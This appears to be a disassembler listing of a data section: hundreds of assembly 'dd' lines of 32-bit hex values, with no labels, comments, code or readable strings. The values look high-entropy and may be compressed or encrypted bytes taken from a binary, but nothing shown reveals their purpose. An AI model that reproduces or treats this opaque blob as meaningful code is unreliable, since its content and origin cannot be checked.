		dd 23E90140h, 9C605A1Ch, 0C00AE329h, 0C4F80D30h, 8A202B80h
		dd 7BC3631Dh, 1AB000C7h, 0EB30FA47h, 0B73DFF4Bh, 62885470h
		dd 0C214F903h, 0E3A5BD3Fh, 0A011FB42h, 126C05Dh, 60963017h
		dd 47556D14h, 85A560B0h, 9500599Dh, 0E7C8AA88h,	0D4BC2454h
		dd 407F54A8h, 0F2AD0F4h, 7030F464h, 471971ACh, 5B4F2EEAh
		dd 968138F4h, 550142CAh, 0D033F8F0h, 0C048B903h, 1E4139Bh
		dd 0D1C765D1h, 0E4B4F855h, 9D003A11h, 6885878Ch, 0DCF65F8Dh
		dd 7E74C570h, 0E2A40F04h, 0D35DC4h, 7F979BF5h, 7BCB2A38h
		dd 356705CCh, 72798C9h,	326EE5A8h, 0AC87EAD0h, 0E70A704Eh
		dd 0B8306C72h, 80E3D8AEh, 19EB1D88h, 3EA300BFh,	0F455B612h
		dd 0C296C500h, 0DB01F25Ah, 72F900D0h, 49803438h, 1200AD32h
		dd 3ACC61B5h, 7BD6214h,	0D87CEC8Eh, 0C13850DBh,	34F0ED53h
		dd 7DA60100h, 0BB33D3E8h, 7F761F65h, 49780002h,	294D583Ah
		dd 0CF000F7Fh, 81A1632Bh, 0EDF7B4h, 1AB1B53Bh, 45F68870h
		dd 0EBB04309h, 0C3300466h, 81970C07h, 2085F5C7h, 10FBEFA8h
		dd 12C3A959h, 4A641CE8h, 841C0ACCh, 90987BECh, 73E0D86Ch
		dd 60447C3Fh, 393D6210h, 3760D2EBh, 4DE11318h, 0D7BC7FF8h
		dd 0CA37B703h, 9E7B817h, 9145F21h, 962EE023h, 0C8A09382h
		dd 6686A9D2h, 267F1800h, 0AB04A7E8h, 0D5D0031Dh, 97B7C6B2h
		dd 859088C0h, 84EAA326h, 0DAB64161h, 7D37BC81h,	309B730Ah
		dd 0B0783BD8h, 0E17A000h, 0FAE0A889h, 0D19C185Fh, 78C3803Fh
		dd 0FF0CE491h, 0B78989h, 77B46ACAh, 0FEFABADCh,	5F672E0Ch
		dd 0E47218Bh, 0CE94C35Eh, 63F47062h, 0C9AC9CA1h, 0BFF83165h
		dd 34B82429h, 0B486EC84h, 0C1ADC780h, 323B2618h, 0C8798408h
		dd 0C1E89982h, 0C9418796h, 1E789F3h, 5F50D390h,	45EF314Dh
		dd 0D0AB6D38h, 97E0FE24h, 7D6E31C0h, 723C11h, 223219Bh
		dd 0F2638531h, 9805423Fh, 0B891B270h, 3D4301B3h, 1A9B0B25h
		dd 6A98C00Eh, 0CC4B8007h, 44D0C3DEh, 0E0AD125Fh, 1518888Ah
		dd 0CE712400h, 4CEE08BEh, 28F604DEh, 0D4F03798h, 0C4648198h
		dd 70D7011Eh, 89B08430h, 0F724E05Bh, 0F4A0E21Ah, 30884130h
		dd 14E78050h, 0CC4A517Dh
		dd 34E12984h, 6D6000F6h, 0DF26C464h, 0C9BFD858h, 6202DBB1h
		dd 862F7DA8h, 501C8448h, 0DF700853h, 0C20B98B8h, 4956039h
		dd 6CB7C9E5h, 0F8C9040h, 0EE058649h, 72EF6ED3h,	0C8908584h
		dd 4BA4348h, 153590C7h,	0AE3C82C8h, 0C9C4C086h,	340CC028h
		dd 34C3200h, 21E10EA1h,	19E86ABEh, 0E1E23C3Ch, 0C8075B7h
		dd 5C351612h, 22A49949h, 827F00E0h, 6FD0BC96h, 0E60164F4h
		dd 747360C1h, 999F1CC8h, 7D588A7Eh, 443828A0h, 0B470FFB5h
		dd 8255300h, 58C52781h,	0BEF2E8Eh, 8F960164h, 20A18909h
		dd 59050E50h, 51B7ABF0h, 9FD48814h, 66D93846h, 0C5A33D11h
		dd 0EC3A9C80h, 0BC56C615h, 0D1B39800h, 67683980h, 0AC4750D8h
		dd 8091FFh, 0E936902Fh,	0F006427h, 0C92BC23Fh, 0B613A48h
		dd 0C10AFA4h, 9E46001h,	80405F3h, 0F50F21E6h, 0C4D1C18Ch
		dd 0C60FC05h, 0A01E3C28h, 8C5CE702h, 30848001h,	0A0F51D35h
		dd 6C70A0h, 0E7A33608h,	1424C75Bh, 71394706h, 15588FC8h
		dd 343B5E29h, 350C120Fh, 88A9A949h, 0C1782004h,	5518D874h
		dd 0FCF890B4h, 40406571h, 16F71A1Dh, 6CC0A1BEh,	88298E4h
		dd 308580BEh, 84905F85h, 47BD4Bh, 0BF3B6988h, 445C7304h
		dd 0D9611A62h, 2DB4A06Bh, 0C46881h, 4ECF3828h, 3DDCACCBh
		dd 0B586D61Fh, 615A2100h, 408113C8h, 490B1267h,	0A9FCE939h
		dd 11B002ACh, 4C610069h, 0F4B16A29h, 499E2600h,	74D734Bh
		dd 14B31355h, 79BF405Ah, 0BD1C5E33h, 3A41F483h,	16187BEDh
		dd 7409A081h, 8D8E6865h, 514096D9h, 23AFDE0h, 5C4D60D1h
		dd 0E8BA90h, 0DF40893Dh, 0E4C01594h, 0D1F9C65h,	0A8D80A3Ch
		dd 5FF816B0h, 0FB7AC724h, 7023667Bh, 872893Dh, 1FC7056Ch
		dd 6966CB5Ch, 0FE60A890h, 844D4C7Bh, 0EB8A1934h, 60104930h
		dd 0A8A2FC77h, 7207E4C6h, 0FB8C6929h, 9FA6C8D0h, 4818D878h
		dd 0A48221D0h, 9B40FCE4h, 57E3D5A3h, 71BC4000h,	0E41FE6FBh
		dd 0FA76017Bh, 29806DB2h, 5068A434h, 0D1106C0Dh, 682DC2D2h
		dd 14649450h, 80421EE4h, 0C711105h, 0CD45F32h, 0C9194C6Dh
		dd 638198EAh, 82362CF0h, 86030851h, 0AB1218F7h,	9B601095h
		dd 996C38CCh, 6A78B474h, 0C029B072h, 0E772C204h, 4D05940Ah
		dd 0D844CD03h, 7A01F709h, 50020D54h, 0DC79B788h, 0E1CBCA8h
		dd 985E9133h, 0CC0890EEh, 63FDFB19h, 3489EF8h, 4CF72574h
		dd 900BC154h, 0A2503D0Ch, 0E037F6C0h, 81A9842Ch, 7BAC73AFh
		dd 0C4D15800h, 0EB755351h, 729D0083h, 0BFC730ADh, 8CAA68BCh
		dd 0EC87A41Ah, 0D2468461h, 0D3C15A08h, 40744564h, 3A3B5778h
		dd 0F6E863CBh, 19B05F58h, 7488AEFAh, 621AF810h,	0C92738C0h
		dd 0C060A5C2h, 66E794D0h, 29D0782Dh, 8CE12AB4h,	0BCE80A19h
		dd 0FD03C768h, 0BB0CC8DCh, 0D92A08A4h, 0AC85B8DEh, 207816h
		dd 263B4029h, 824869C1h, 7C3DE241h, 0A285F920h,	5DC13543h
		dd 3DC00821h, 0E287BA40h, 187A5095h, 42FC2A61h,	83430C8Ch
		dd 0BD706813h, 4094308Ah, 0E98F8DF6h, 84DA0AC0h, 94058411h
		dd 921E6A2Ah, 9C71D8B0h, 0A5086618h, 6141CB62h,	6859F00Ch
		dd 0F713A8A8h, 84D96C2Ah, 0FF2A5C86h, 500CA807h, 50E129D9h
		dd 451F0354h, 0E861C87Eh, 36325E07h, 0D80B737h,	0B255EAh
		dd 1BEF2159h, 0B46231AFh, 0AC049B00h, 81F53014h, 7B450015h
		dd 2D161FB5h, 0E80E22EEh, 806FC6E4h, 14F764A7h,	0E67F1402h
		dd 0B20CACACh, 2E4056B7h, 48AFB10h, 131FCF00h, 0E83A6C38h
		dd 5DCA820Fh, 0C4FA00F9h, 3B2165h, 0F5419A5Ah, 0AB045CA3h
		dd 0FB0137F0h, 7245128Eh, 38D45ED9h, 0F23A2962h, 550423C0h
		dd 77F8A0FAh, 0FC5DB6h,	0E8236C36h, 116BCFE7h, 0BA00A090h
		dd 7301FA6h, 5F3E6Ah, 355671B3h, 7FFA1D13h, 6F304074h
		dd 642C40B5h, 81F845h, 37F979FDh, 0E6BC567h, 0ACFEAA00h
		dd 18DAA239h, 0D330126h, 4C7EEF31h, 0FA6B0043h,	0EB6340ABh
		dd 0E74FD00h, 71C5662Dh, 1334031Ah, 0AFAAA59Ch,	7EF101Fh
		dd 0FF8F80F9h, 790B6E1Eh, 4570C0FAh, 63BCE536h,	38AB0E26h
		dd 0D8759429h, 6000D981h, 235E31FEh, 7FDE4E1h, 652DF946h
		dd 0AA16A1C5h, 5F41C85Ah, 189BAE03h, 802FFD2Eh,	332124Bh
		dd 0F968B574h, 80EF97A5h, 0E76BC837h, 0A4A1380Bh, 0D64006Dh
		dd 7C7A05h, 3C22CBDBh, 38011B19h, 74064072h, 0A6145EB7h
		dd 372C0040h, 2FF970C5h, 593DBAA1h, 0B9088022h,	5FAE697Ch
		dd 0DA90056h, 128AF01Bh, 0CE184239h, 3570E85Eh,	0C4800136h
		dd 0AB2F1370h, 0AB8C66E7h, 768836F3h, 2DE01FC8h, 2B0023FCh
		dd 1875D9E7h, 7EC5A9EBh, 2CA840CAh, 5AACF600h, 0E9E53004h
		dd 118A00F4h, 64C88045h, 6E6EAF9h, 0CD7E321Eh, 0F3AB00F8h
		dd 30575AB1h, 7CB60714h, 60C4AF55h, 0F523703Ch,	1E008F79h
		dd 115DBE42h, 32156A7h,	60FD7B1Bh, 0C598EA0Bh, 0A9791ED0h
		dd 577C9A03h, 0C0159BA2h, 0F72B19h, 42EB047Eh, 39FC6779h
		dd 1F2FA100h, 0E322CA83h, 0F06B052Dh, 81A6576Ah, 2AC37ACh
		dd 1CB4C00Fh, 8424C01h,	0FABF04D1h, 55A39E00h, 4BAB914Dh
		dd 0B71DECB0h, 0E70A57F1h, 80553437h, 9B8D4824h, 8939F387h
		dd 8B4D8188h, 59201CC7h, 0D91CB8D6h, 10C46078h,	14F87C44h
		dd 5BDDCD0Fh, 64259DB7h, 9D6574FCh, 74E19800h, 0EE0F9988h
		dd 919A761h, 38C7878h, 0C1439E4Ch, 103A92F4h, 7AB981E6h
		dd 0CCAC3854h, 6B4C5080h, 0B63B52B7h, 0C404F5Fh, 59F6A50Ch
		dd 3EBE74AAh, 7BA93C3Ah, 1865901Ch, 70C1FB88h, 91B60074h
		dd 7366DDD1h, 0E97CAFA1h, 63FFAA18h, 6B8759h, 6410B2BBh
		dd 0FCE8EB5Ah, 7C605974h, 0BAF32221h, 0B24E0F6Ah, 82C0E72Dh
		dd 0B7805823h, 0C2FB61Eh, 0D880A1D7h, 0C1D2628Fh, 8D1087B8h
		dd 1C947CFBh, 1D127472h, 2DC138B4h, 0F8A78718h,	3E8C43Ch
		dd 0EA86BF4h, 0A785E2D1h, 0C4F54099h, 0C8A82EE3h, 0B818F65Ah
		dd 2011C36Fh, 3B2A01A4h, 63CBAA39h, 2DCC6C41h, 2E48024h
		dd 34B2AACh, 4622AEBCh,	1A89377h, 642F4560h, 0A908154h
		dd 7185313Dh, 5F8D5F66h, 12D0680h, 0F82A18FAh, 5F139CFEh
		dd 28B4D9E4h, 104100BFh, 0B46059BCh, 18C35851h,	6DCE139h
		dd 0A4E463E9h, 608518A7h, 756028C4h, 0A21D8EC8h, 1A875E5Ch
		dd 7DF0548Fh, 17279Ah, 0E5F59DB8h, 0DF06781h, 0C680EB74h
		dd 9C83173Fh, 0FD5C8760h, 2106D709h, 758357A6h,	0F0263148h
		dd 84314AA8h, 0A2E72D9h, 18F15819h, 0A3830840h,	0EEC44B60h
		dd 8358A740h, 0EB003D62h, 0CA4EB3BBh, 5030DFC7h, 0A5808869h
		dd 60ED6428h, 98B9E6h, 0A36B01F2h, 310675B4h, 9179350Ch
		dd 12DF584Ch, 42F269E4h, 6F7825C4h, 378F6456h, 62E860CAh
		dd 600EF70Bh, 0C45E19BCh, 6B247F13h, 300260A6h,	481C7473h
		dd 24710A44h, 119CE992h, 0BB67809Eh, 8C441086h,	1C4E7944h
		dd 80B8BAEFh, 8D2B67B9h, 64186D3Ah, 6658C058h, 46A1E2Dh
		dd 0E7930FEBh, 90F9D884h, 0A2B055DCh, 0A36D6901h, 0AB74BC83h
		dd 0C0620892h, 0A2B83414h, 0CC0F53FEh, 0C1D0A766h, 0E8C9395Eh
		dd 87B4002Ah, 1EB4DBE7h, 3C950E24h, 1B3868A5h, 40DC4DE9h
		dd 5C646C27h, 0A7A23B00h, 0DEEFD49Dh, 0CCAB0051h, 81DF792Dh
		dd 27785BB9h, 0F0CE5900h, 9455528Fh, 0D13891DEh, 1818F3h
		dd 0ED50399Bh, 0A029462Bh, 0A50AC709h, 0A48F8A7h, 0F5455C6Ch
		dd 40960994h, 0C4F04FAh, 0BBD20091h, 0ECB9CCh, 6D483E17h
		dd 70F3FC0Dh, 0CBED8003h
		dd 9E959C6Ah, 6C6612F9h, 65E83223h, 8E0F7A21h, 8ADCE430h
		dd 60F24C84h, 29A28339h, 40685360h, 0CF8351A8h,	0D292B600h
		dd 2F5F1BCEh, 2A381F28h, 30C41085h, 7CF5C1BDh, 557201E8h
		dd 3F85E3E5h, 107033E0h, 906FF651h, 68FE2751h, 0D66620h
		dd 9C719101h, 0C63C5F87h, 39062978h, 214C1D26h,	423AE166h
		dd 0B2153AF4h, 0EFC8E340h, 6A2E6209h, 11E41D96h, 7C8D84FBh
		dd 0E0495881h, 9388603Bh, 82E20A8Fh, 0E2D1F407h, 73F5FC25h
		dd 7EB51F82h, 14142618h, 6D11BC37h, 0F05409F4h,	1AC45915h
		dd 0C4751D7h, 4D60F044h, 2EAC30Eh, 5E43B502h, 0C4A12F73h
		dd 0E93B12E0h, 8620F068h, 0B0936F4Eh, 6119C85Bh, 88E92DFCh
		dd 0A0F69DC3h, 0E462A304h, 0D8C864B1h, 0A3048CB9h, 0A2393C2Ah
		dd 2100AD63h, 0F62AAB03h, 62E7453h, 0FEFA80E4h,	9E009195h
		dd 211E91DCh, 0DBB90Eh,	0A53B2EC4h, 0EA7BB732h,	807CD9C9h
		dd 0A6F6A13Ch, 6C7312E8h, 4788403Dh, 0B1A1840h,	1D9BD600h
		dd 0E792C769h, 0E209B3Eh, 6DA4A286h, 20636293h,	0BFA2AE2Eh
		dd 4172C100h, 0CDF659ADh, 81C54F3Dh, 3681AA9Ch,	1411E0D0h
		dd 748D0F6Fh, 0B920A422h, 9D9A6447h, 3090FF4Fh,	97D475h
		dd 8916DED1h, 0EDA37B34h, 6A3AAD09h, 9B870A4h, 0F2AA3F6Bh
		dd 61528C84h, 6DFCA2B2h, 61448CB3h, 0A2BA003Ah,	5785C434h
		dd 0F13DA911h, 10E8CCAAh, 6609B828h, 878BF8Dh, 0C05460C8h
		dd 6D65A2B4h, 60228346h, 0A216387Ah, 0CA00AA88h, 99A3A19Dh
		dd 0FCBD5826h, 8493511h, 41653CE9h, 844389C4h, 8B487918h
		dd 8ED8E504h, 0C0AC882Ch, 0D4E13B28h, 61487E63h, 7C5810BFh
		dd 38860F2Ch, 0E0D9AC35h, 905B0BF4h, 0BC90CCB1h, 0E78068D0h
		dd 23D2296h, 3CC1FC4Fh,	732FBF97h, 0A8232460h, 2A9D01B7h
		dd 2332393Ah, 0A5018080h, 121A052Ah, 0E2BE6290h, 0CFBB03A4h
		dd 0FD71EA47h, 259096C0h, 496E8C6h, 0C6F0A7Dh, 0F72890DEh
		dd 0CF04F42Eh, 956B9825h, 0B0D0D084h, 2291599h,	0F63B7A61h
		dd 7C7C10F5h, 49243EBCh, 51B6164Ch, 0E5F9EC00h,	9FFF44B7h
		dd 6B3CAAh, 0BA4DB456h,	4E000289h, 6738D7DDh, 908894C7h
		dd 89E4A44h, 69C0A494h,	2110B0BBh, 939159F4h, 0BAF12800h
		dd 318BED87h, 9334F649h, 0E7169807h, 535B6C10h,	90E490D2h
		dd 98120A8Ch, 8090FC41h, 0C7423B73h, 0EFF08224h, 4601C093h
		dd 0DB609583h, 9D80D433h, 17FD833Eh, 68359824h,	71688F40h
		dd 0E8CC4891h, 1FD3A1Fh, 0EDFC8BD8h, 0C460CA1Eh, 5C820CE8h
		dd 690308A4h, 0A700671Dh, 3B22E7F6h, 2CF85D79h,	0C372017Ch
		dd 0D98985A0h, 428C25B6h, 85303DA4h, 6D6613A2h,	2F40389Bh
		dd 0DCA2AD07h, 0A0EE0DFCh, 8AEF03CFh, 49382E7Fh, 30140864h
		dd 0B091FE0Ah, 76717C87h, 83947F63h, 244B8838h,	73DB003Fh
		dd 0C1F5421Dh, 3B53070h, 0B048B0F4h, 2496B9A6h,	4F2C0D11h
		dd 3E5D10E0h, 0F4A053ABh, 0D83017B7h, 6682B9EDh, 28453A23h
		dd 946B0F04h, 88048EFBh, 826C07Eh, 0FDF08C54h, 24512D2Ch
		dd 9E60B644h, 3925412Ah, 0E1FC163Ah, 587DA420h,	5D2492DBh
		dd 0CD2B0468h, 8068C168h, 8E701ACh, 20E48420h, 410FF73Ch
		dd 2BB2D924h, 0C1100057h, 102FAC3h, 108859CDh, 2CC94B8Dh
		dd 64B389CCh, 22F543B8h, 0E13913ECh, 80ECB06Ch,	0E808664Ch
		dd 7AF64328h, 0ED06D2F6h, 5871399Dh, 90E55351h,	8598E1Ch
		dd 9704C7CBh, 18906841h, 2D9C6295h, 304B6B71h, 0B854E4h
		dd 20461341h, 0B7A46F7Fh, 0E108C88h, 45FE0550h,	0A83E96FCh
		dd 270494E4h, 9CE8C8B5h, 744C80A4h, 880D9824h, 0A2F21700h
		dd 72E809B7h, 899C18E4h, 53608067h, 9CA8B898h, 9507BDE9h
		dd 41A4A07Dh, 78F9FCE2h, 71610B04h, 0DC2FD96Ch,	529030A0h
		dd 0A40AA669h, 483A9677h, 0B11C7C84h, 943D0C02h, 8018D028h
		dd 3B1769h, 0F051B82Bh,	6BD8628Fh, 1077A30Eh, 10F0362Dh
		dd 0D47A5CCAh, 20F3C114h, 0B221410h, 52BBA530h,	0C8641824h
		dd 82B2184Ah, 0BE26F13Eh, 575854B1h, 612BC704h,	20B0A8E4h
		dd 1DF214DBh, 0D444080Eh, 79190B67h, 48218454h,	0BB53B5FCh
		dd 0E7940920h, 0B10CB051h, 6D6A11A2h, 875F88BBh, 72A2B93Bh
		dd 48ECE236h, 0F10F3000h, 325A8846h, 316763D8h,	10F8C11Eh
		dd 900F99D9h, 403BD58Fh, 54E6872h, 0B8039F6Bh, 0F7C8EE1Ah
		dd 89C0EFD9h, 2C3DFBF9h, 2E9DF0E3h, 7CF45779h, 86F6F4h
		dd 8EEEB8A9h, 61FC0158h, 68D8D22Dh, 31E52Ch, 32AA237h
		dd 29D12F2Ch, 0F2F1A300h, 0AB8A474Fh, 5F7401F4h, 46DF9DC4h
		dd 354060A7h, 0A713793Eh, 11941D94h, 1D1481F1h,	0A6F06527h
		dd 0CB5B00D5h, 737067E5h, 0AE48DC64h, 0C7F9857Ch, 40CBB012h
		dd 0E1C068C8h, 28FCCB22h, 0B5A04B19h, 31ABD819h, 6A30CE9Ch
		dd 10B111BBh, 877F88ECh, 0A7BAF221h, 76E5C0B3h,	314E2D30h
		dd 59000812h, 5AA8C638h, 0FA4100C8h, 8A0FA4CAh,	870496D0h
		dd 8D9DE71Ch, 29E2D8A3h, 372FE4B0h, 619B5B1Eh, 4408C8E4h
		dd 0DF9A09B0h, 3B2FFD00h, 0E8B97526h, 1E437A7h,	0A21AC991h
		dd 3A0070C7h, 71706804h, 3CD0087Ch, 2E39BA9Ah, 9EC286Eh
		dd 98E987A8h, 1E3C18EDh, 63609783h, 0AB07EF11h,	0B0498354h
		dd 1882D69Dh, 3F819C00h, 2C3BDCACh, 5CE250F7h, 85B30240h
		dd 821D34EDh, 0F6588073h, 2A5F8C6h, 18C47582h, 64DE70B8h
		dd 66653940h, 0B29FC79h, 0F8815DCEh, 0FBB03002h, 0AC46E8D2h
		dd 472A9802h, 2B318A39h, 2A9FFE10h, 24005077h, 0D90553E1h
		dd 0B7966A14h, 755E5880h, 73F42839h, 8D0C0605h,	0ECA0F1ABh
		dd 41BC3B26h, 0C098671Bh, 306DD2C9h, 0B62D8860h, 0D06049CCh
		dd 0C1FCD710h, 113C6059h, 7448DD6Fh, 12685510h,	8C45A3D9h
		dd 1CB55E66h, 0FCB56041h, 0BBF90C01h, 0DB007D39h, 8374044Eh
		dd 0D8A2C2h, 6B73F824h,	0E434633Bh, 18E80658h, 8BF116E3h
		dd 32B200C1h, 10AE95FAh, 0D8608385h, 9381A358h,	68E8C15Eh
		dd 10C4E92Dh, 1661C04Eh, 0E0EC6C4Dh, 774A7024h,	8CE19442h
		dd 1D2C4089h, 8B0CB48Fh, 74D974B7h, 18BEE20Ah, 5299088h
		dd 0B0629C69h, 661ABD10h, 0D9412C6Ch, 1894792Ch, 0C69B835h
		dd 20285C71h, 400252A8h, 8939B7B0h, 45ACA998h, 6068E4D4h
		dd 2F62B309h, 4C435514h, 97FFC197h, 0D890E63Ch,	0D928BF4Eh
		dd 695E0831h, 0B747FC45h, 0DC889F13h, 905302D9h, 0C8C92D0Ah
		dd 0E5F09407h, 39F6BBBDh, 68C82FE3h, 97C0AD88h,	5839482Ah
		dd 0FFE12482h, 7A61D89Eh, 84A3C000h, 0B460D71Ch, 4885BF95h
		dd 10806FFEh, 511788CEh, 0E140A0FCh, 887B420h, 8B3D969Fh
		dd 528EC700h, 48ABC22Dh, 31616CCAh, 3CA60D6Ah, 488A92CCh
		dd 0DC0EEC8h, 700F07D5h, 0AC9054C7h, 7C4107FDh,	0E2478B7Eh
		dd 0D04110B7h, 105839ECh, 0EC58C320h, 17801B02h, 90E14568h
		dd 7C447F1Eh, 9454DBD7h, 48B4242Ah, 86206C23h, 69127C73h
		dd 4C6F87C5h, 0ACF05812h, 817B9D40h, 610E78F6h,	35CC535Ch
		dd 30A41C47h, 46A8006Ch, 1040DC97h, 8F5C845Dh, 0C8712BA9h
		dd 5B6CC34h, 0ABF066B5h, 744A2B8h, 1D9A74D6h, 397B3260h
		dd 3880BD6Bh, 0E2F697F0h, 2CECD58Bh, 1572572Eh,	5F7DB863h
		dd 0EEC49216h, 31A6C843h, 0F63B3913h, 2D738480h, 0C4112498h
		dd 546C02EBh, 3C5A3FB1h, 0EF2490B7h, 0D5C700C1h, 0E7516B37h
		dd 3F04D676h, 6764E913h, 0B433D8A1h, 8C0B906h, 0F5241880h
		dd 2049780Ah, 23D1648h
		dd 0BEAB009Bh, 37D2688Fh, 0D851E719h, 0CC89F294h, 0C7D9C800h
		dd 336374BFh, 8F71A649h, 0C045168Eh, 70A27066h,	0DA3062F2h
		dd 6D4B0311h, 58303322h, 42379801h, 8DA8E8C3h, 0BD617080h
		dd 34206F7Fh, 5F601C96h, 90F605FCh, 669584h, 1B07B700h
		dd 9AE16994h, 0C9340291h, 0C33FCD57h, 88AC69h, 75B687Eh
		dd 0CE8D80Bh, 0D3EA705Ah, 9454FF44h, 0B71C0FD0h, 5D003FD9h
		dd 0D7C193AEh, 95200ECh, 0D6FEA771h, 0D42F3EE0h, 7570686Fh
		dd 17850F82h, 116037A9h, 154C18B2h, 5CBF5701h, 44C93904h
		dd 0EEB18024h, 4E6C71F1h, 3A1400A4h, 9EF6F75Ah,	99F56E3Eh
		dd 6F18BDDCh, 29002022h, 85D838E2h, 9207B984h, 8D252441h
		dd 48B16081h, 1444F6h, 0FF2B1709h, 0B6BB182Ah, 6A271E17h
		dd 314C0F4h, 94ED2876h,	1A809EE4h, 90004C35h, 0E8DDE1E0h
		dd 2EB19532h, 1FE43957h, 0DA19C910h, 0E86C5860h, 225029EBh
		dd 747509h, 0EF40449Ah,	6B65808Ah, 0A98A8B6h, 80AFB0D1h
		dd 0A7338D90h, 0E2AE38E2h, 54ECCA3Ch, 5E4CAEA4h, 0F4007C46h
		dd 3C27A4Dh, 7773FB0Ah,	7292C902h, 0FCE19C6Ah, 4A6828F0h
		dd 9600916Bh, 0CEC3D34h, 980A3172h, 6CF680C3h, 60135825h
		dd 4037A53Ch, 54177ADCh, 4421C0A4h, 8C79DB79h, 870142ECh
		dd 98D0CBD2h, 0C170EE28h, 26A0EF1h, 5629FDE7h, 0BC41E400h
		dd 1F3119ECh, 6629D0A9h, 148411F2h, 0E80BAC04h,	4C210E12h
		dd 0F31CD1B3h, 44E408E3h, 0C4075EB4h, 0DFC75C8Ch, 4887259h
		dd 8C143C0h, 9F00B834h,	34A9E752h, 0E0C81887h, 72B3924Bh
		dd 44547317h, 18E858F0h, 70CB393Dh, 10B9A6FAh, 8B1869F1h
		dd 0E0203498h, 0ED58CEB1h, 8C68B871h, 0F65CB01Dh, 919497A7h
		dd 0C2A3802Bh, 0F8C157E1h, 0C120954h, 102E392Dh, 214091D2h
		dd 48346075h, 822F35F4h, 40E468B4h, 0C110800Dh,	465ECCB4h
		dd 0C751005Fh, 203BED9Fh, 79FC1261h, 1308094Fh,	92BDB180h
		dd 28776097h, 7E528F0Bh, 7580B0Fh, 3F8918Ch, 278073FAh
		dd 0CEA08864h, 0BF105C20h, 0C3CC44h, 8E715761h,	64D9A1DAh
		dd 0CFCA89C0h, 4C4391h,	0D2893A87h, 0F4EF85D7h,	781BBD02h
		dd 5E63A873h, 0F800DC04h, 0C00E7C51h, 4897CFC6h, 341048E9h
		dd 0A536C887h, 9EC0CC4Dh, 0C8EC5h, 0AFFE27EDh, 88E4E939h
		dd 26FDE580h, 1618F931h, 80090D9h, 0E0F2F55h, 1E621E09h
		dd 0F501A244h, 940B08C4h, 0A4D068CCh, 484C8067h, 792ED937h
		dd 140C6C71h, 208D2834h, 0AE4885FBh, 18E68C18h,	80B342B9h
		dd 5B6B7D6h, 701797EBh,	7D807B11h, 0D16746A6h, 9D26E874h
		dd 97080861h, 0D0E342F5h, 80B4F458h, 0E418F55Eh, 0EFF2E270h
		dd 252E330h, 0C8A5117h,	0F2CD8BEDh, 0F8402770h,	424098F4h
		dd 31750B52h, 642C0483h, 85DA0A9h, 0CD5AEEB8h, 865A3C20h
		dd 7327008Ah, 0B8A53DC3h, 290226BCh, 0F5FC62B6h, 0C0984259h
		dd 0B0C64EE4h, 173A05A4h, 171D602Dh, 0C86CCBF0h, 1EBFC05Ch
		dd 141C88B6h, 9C9605Ah,	90240BF1h, 2AE954h, 0C870BB6Eh
		dd 17923DB8h, 8ECBA600h, 0DFE4852Bh, 607F2D76h,	5D91CC17h
		dd 4DAF9880h, 8C00DC46h, 83868BD3h, 417261h, 0B49BCB4Ah
		dd 0D10990B7h, 8BE6923Eh, 2BC5A38Dh, 47381878h,	7CC11739h
		dd 0FF84991h, 2F0E1C46h, 22CC6142h, 549D2D66h, 605744D4h
		dd 2368A2AFh, 5E11AB6Dh, 0A2B73500h, 4224E5B2h,	4CF6EEEDh
		dd 9E8BFF88h, 2BDCC0BBh, 28227EFh, 0C676B601h, 30EE0C62h
		dd 0E4A2E044h, 343025F2h, 8F6E00D2h, 0DD8856CDh, 6D1557A5h
		dd 12805C7Ch, 3AC165h, 89005E23h, 0B9FABF3Ch, 2A1827E8h
		dd 5B49C822h, 2045745Eh, 7DC874CFh, 0B99E1CFh, 46CA2A76h
		dd 744B072Ch, 0E0F73CCFh, 0FB8FC534h, 22B67D00h, 0CE2019A4h
		dd 0C0594E4Ch, 0F6D6E8FCh, 168D10Eh, 226E6190h,	0D42088B1h
		dd 0F5FA4057h, 0BC989B7Eh, 93D822h, 0BAA62AF3h,	6C71800Ah
		dd 4A0244Bh, 82F8B110h,	8C3B7470h, 586C687Ch, 9AFB444Bh
		dd 0AAF07F02h, 48FDE462h, 307939C4h, 636883ACh,	0C43EFBFCh
		dd 29C70542h, 0D48E3FB3h, 31F5AC84h, 882B3913h,	0E418DF6Ch
		dd 0E9715451h, 0C9794F70h, 6250E000h, 652ED8A4h, 6C42B068h
		dd 495E2F94h, 44BC32Fh,	0E919B6FAh, 41656011h, 6395B49Ch
		dd 5AC2258h, 0A59C6B08h, 23E0CC65h, 0A808848Ah,	0B4BB6560h
		dd 0C5541027h, 0ED2480FCh, 3F6361BAh, 0A209C00h, 598C5AF6h
		dd 0C91D8h, 0E12F957Dh,	0E9072E43h, 997FC642h, 900ECC40h
		dd 0B73C0411h, 0B9E11334h, 10B02C88h, 80F61D58h, 357FBC41h
		dd 6A5660E0h, 0B4912264h, 0FDD5402Ch, 620153DFh, 350A172Eh
		dd 0A048C529h, 0D6448C3Ch, 0CB9A187Ch, 5551602Dh, 7C854586h
		dd 8C7DBCF8h, 28B930Ah,	0AFC43C7Bh, 80E09B56h, 5D9D30AEh
		dd 0ED4F0201h, 3E0E0C41h, 32EC58EBh, 0B90D2459h, 0AD6C0308h
		dd 9C56DC70h, 960A1780h, 2C660088h, 7781E5FDh, 0A23C6D5Bh
		dd 89912FE6h, 84CC02D8h, 2C5C0A63h, 0AC2174B0h,	606289F5h
		dd 3ED6FC01h, 90C21A53h, 0ED22CCC2h, 0EA211E8h,	3F68B98Fh
		dd 4261E088h, 1733C55Ch, 8494E4F0h, 0AC9CF9B0h,	9C600D6Bh
		dd 2070F011h, 67298180h, 450124EEh, 0F3609683h,	9CB0A078h
		dd 0B100833Dh, 1081354h, 0EE45CF84h, 6F949164h,	8A03FB88h
		dd 0BCA23EF2h, 0C1207481h, 0D5046102h, 0D6F964F8h, 8C206531h
		dd 0B13FF039h, 50641128h, 0B805BB40h, 6B676046h, 2E874E4h
		dd 1B5ECCDBh, 0B4E67368h, 0C8C497h, 0B851B53Eh,	7E556C78h
		dd 43005790h, 470ECE04h, 2FAABECCh, 0DC0061E5h,	0C68C830Ch
		dd 0D94B1374h, 0A0C7A8C0h, 3AFCBE48h, 0B3425400h, 0EBA3A50Ah
		dd 64042C96h, 0E906B2FCh, 9C4E88C7h, 24041816h,	7202EC81h
		dd 90584874h, 0E1263BE8h, 4C80D4E0h, 0F8C13581h, 91B8BE7Dh
		dd 833A80F3h, 0A73B60A1h, 52A90AE4h, 0DC12F4h, 228AAFEBh
		dd 9904264Dh, 8161F70Ah, 1F8000DBh, 1E3AD633h, 0C15BC903h
		dd 2893ECE0h, 99868A1h,	0EBAA5301h, 9440F0D4h, 2A0B2Eh
